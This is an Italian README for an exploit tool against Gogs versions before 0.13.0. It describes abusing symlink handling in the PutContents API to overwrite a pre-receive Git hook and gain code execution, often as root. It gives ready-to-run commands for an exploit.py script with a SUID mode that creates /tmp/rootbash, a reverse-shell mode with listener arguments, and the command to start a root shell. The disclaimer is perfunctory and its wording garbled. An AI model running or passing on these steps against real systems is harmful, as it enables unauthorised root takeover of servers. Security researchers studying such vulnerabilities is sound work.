
La gestione impropria dei collegamenti simbolici nell'API PutContents di Gogs consente l'esecuzione locale di codice.
Gestione impropria dei link simbolici nell'API PutContents di Gogs consente l'esecuzione locale di codice.
Questo repository contiene un exploit di livello professionale per una vulnerabilità critica in Gogs versioni precedenti alla 0.13.0. L'exploit sfrutta un difetto logico in cui l'API di Gogs non convalida i tipi di file durante l'aggiornamento dei contenuti del repository. Iniettando un link simbolico che punta a un hook Git lato server (pre-receive), un utente autenticato può sovrascrivere il contenuto dell'hook con uno script malevolo. Le successive operazioni di push Git attivano l'esecuzione di questo script nel contesto dell'utente che esegue il servizio Gogs (tipicamente root).
Iniezione del symlink: L'attaccante esegue il push di un link simbolico che punta agli hook interni del repository (es. /root/gogs-repositories//.git/hooks/pre-receive).
Sovrascrittura tramite API: L'API di Gogs consente di aggiornare il contenuto del link simbolico. Poiché il sistema operativo segue il link durante l'operazione di scrittura, l'hook Git interno viene sovrascritto.
RCE / Privilege Escalation: Un push Git successivo attiva l'hook pre-receive. Se Gogs è configurato con RUN_USER = root, l'attaccante ottiene il pieno controllo del sistema.
Requisiti
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
Al termine, ottieni accesso root sul target:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
Questo strumento è destinato esclusivamente a scopi educativi e ad audit di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento su sistemi di cui si è proprietari o per i quali si ha esplicita autorizzazione al test.
| Argomento | Obbligatorio | Descrizione |
|---|
--url | Sì | L'URL base dell'istanza Gogs (es. http://127.0.0.1:3001). |
--user | Sì | Nome utente valido per l'autenticazione. |
--pass | Sì | Password valida per l'utente specificato. |
--mode | No | Modalità exploit: suid (crea /tmp/rootbash) o rev (reverse shell). |
--lhost | No | Indirizzo IP locale per il callback della reverse shell. |
--lport | No | Porta locale per l'ascoltatore della reverse shell. |